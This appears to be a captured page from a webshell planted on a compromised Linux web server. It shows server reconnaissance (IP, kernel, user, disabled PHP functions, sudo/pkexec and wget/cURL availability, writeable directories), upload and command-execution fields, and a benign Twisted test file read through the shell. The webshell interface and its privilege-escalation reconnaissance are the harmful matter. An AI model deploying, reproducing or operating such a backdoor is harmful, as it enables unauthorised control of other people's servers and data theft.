403Webshell
Server IP : 104.21.38.3  /  Your IP : 108.162.226.242
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/test_tpfile.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


from io import BytesIO

from twisted.internet import abstract, protocol
from twisted.protocols import basic, loopback
from twisted.trial import unittest


class BufferingServer(protocol.Protocol):
    buffer = b""

    def dataReceived(self, data):
        self.buffer += data


class FileSendingClient(protocol.Protocol):
    def __init__(self, f):
        self.f = f

    def connectionMade(self):
        s = basic.FileSender()
        d = s.beginFileTransfer(self.f, self.transport, lambda x: x)
        d.addCallback(lambda r: self.transport.loseConnection())


class FileSenderTests(unittest.TestCase):
    def testSendingFile(self):
        testStr = b"xyz" * 100 + b"abc" * 100 + b"123" * 100
        s = BufferingServer()
        c = FileSendingClient(BytesIO(testStr))

        d = loopback.loopbackTCP(s, c)
        d.addCallback(lambda x: self.assertEqual(s.buffer, testStr))
        return d

    def testSendingEmptyFile(self):
        fileSender = basic.FileSender()
        consumer = abstract.FileDescriptor()
        consumer.connected = 1
        emptyFile = BytesIO(b"")

        d = fileSender.beginFileTransfer(emptyFile, consumer, lambda x: x)

        # The producer will be immediately exhausted, and so immediately
        # unregistered
        self.assertIsNone(consumer.producer)

        # Which means the Deferred from FileSender should have been called
        self.assertTrue(d.called, "producer unregistered with deferred being called")

Youez - 2016 - github.com/yon3zu
LinuXploit